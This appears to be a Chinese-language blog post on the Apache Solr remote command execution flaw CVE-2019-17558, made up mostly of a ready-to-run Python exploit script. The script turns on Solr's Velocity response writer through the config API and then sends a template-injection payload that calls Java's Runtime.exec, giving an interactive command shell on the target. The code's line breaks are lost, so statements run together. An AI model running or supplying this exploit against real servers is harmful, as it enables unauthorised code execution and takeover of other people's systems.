solr 远程命令执行 (CVE-2019-17558)

漏洞描述

        Apache Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目，旨在确保Web应用程序在表示层和业务逻辑层之间的隔离（即MVC设计模式）。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

执行漏洞py脚本，取得shell连接

F:\exphub-master\solr>python cve-2019-17558_cmd.py

EXP

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzykerimport requests
import sys
import jsonif len(sys.argv)!=2:print('+------------------------------------------------------------+')print('+ DES: by zhzyker as https://github.com/zhzyker/exphub       +')print('+      Apache Solr Velocity Commons Remote Code Execution    +')print('+------------------------------------------------------------+')print('+ USE: python3 cve-2019-17558_cmd.py <url>                   +')print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983     +')print('+ VER: Apache Solr 5.0.0 - 8.3.1                             +')print('+------------------------------------------------------------+')sys.exit(0)url = sys.argv[1]core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:r = requests.request("GET", url=core_url, timeout=10)core_name = list(json.loads(r.text)["status"])[0]print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:print ("[-] Target Not Vuln Good Luck")sys.exit(0)api_url = url + "/solr/" +core_name+ "/config"
headers = {"Content-Type": "application/json"}
set_api_data ="""
{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:print ("[+] <HTTP" +code+ "> SET API Success")
else:print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")sys.exit(0)def do_exp(cmd):vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"r = requests.request("GET", vuln_url)print (r.text)while 1:cmd = input("Shell >>> ")if cmd == "exit" : exit(0)do_exp(cmd)